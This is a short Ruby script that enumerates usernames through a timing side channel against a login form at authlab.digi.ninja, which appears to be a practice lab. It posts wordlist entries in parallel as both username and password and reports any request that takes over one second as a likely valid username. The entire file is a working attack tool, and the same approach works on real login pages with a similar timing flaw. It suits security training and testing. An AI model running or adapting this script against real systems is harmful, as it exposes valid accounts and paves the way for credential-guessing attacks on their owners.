time-side-channel.rb

require 'http'
require 'timeout'
require 'parallel'

uri = "https://authlab.digi.ninja/Timing_Login"
wordlist = File.readlines('wordlist.txt')

Parallel.each(wordlist, in_processes: 10) do |word|
  begin
    Timeout.timeout(1) do
      HTTP.follow(strict: false)
          .post(uri, form: { username: word.strip, password: word.strip })
    end
  rescue Timeout::Error
    puts "[!] Timed out with username #{word}"
  end
end